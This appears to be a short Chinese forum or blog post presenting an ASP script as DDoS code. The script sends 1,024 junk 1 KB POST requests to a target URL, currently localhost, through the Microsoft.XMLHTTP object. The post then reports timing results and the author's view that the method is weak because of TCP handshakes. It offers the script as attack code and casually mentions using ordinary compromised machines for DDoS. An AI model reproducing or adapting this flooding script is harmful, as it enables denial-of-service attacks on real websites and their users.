DDOS代码:

<%
'On Error Resume Next
Dim Tmp, Atk
Atk = 1024 '发包数量
Tmp = String(1024,"A") '产生1kb垃圾数据
Set Xml = Server.CreateObject("Microsoft.xmlhttp")

StarTime = Timer() '记录开始时间
For i=1 to Atk
    Xml.Open "Post", "http://127.0.0.1:90/", Flase '打开URL
    Xml.Send Tmp '发送垃圾数据
Next
UseTime = FormatNumber((Timer()-StarTime)*1000,3) '计算花费时间

Response.Write "发包数量:" & Atk & " 个"
Response.Write "数据大小:" & Atk*Len(Tmp)/1024 & " kb"
Response.Write "发包速度:" & Atk/(UseTime/1000) & " /s"
Response.Write "花费时间:" & UseTime & " 毫秒"
%>

 

测试结果:

发包数量:1024 个

数据大小:1024 kb

发包速度:376.64367816092 /s

花费时间:2,718.750 毫秒

 

发包速度还行,如果是互联网环境的话。除以10。

而且只支持TCP连接(Get/Post两种方式)。

如果xml使用异步发送,可能根本发不出去。

使用同步的话。发送期间会卡死的。

总之:十分鸡肋,还不如用普通家鸡搞DDOS。

asp这个还是太鸡肋了一点。

 

除了xml组件,我想不到有什么其他的发送数据的方法。

只能发送TCP的数据包。

TCP最大的缺点就是:

要完成三次握手协议。

TCP发个包出去还要等待对方回复。

大大的影响了发包速度。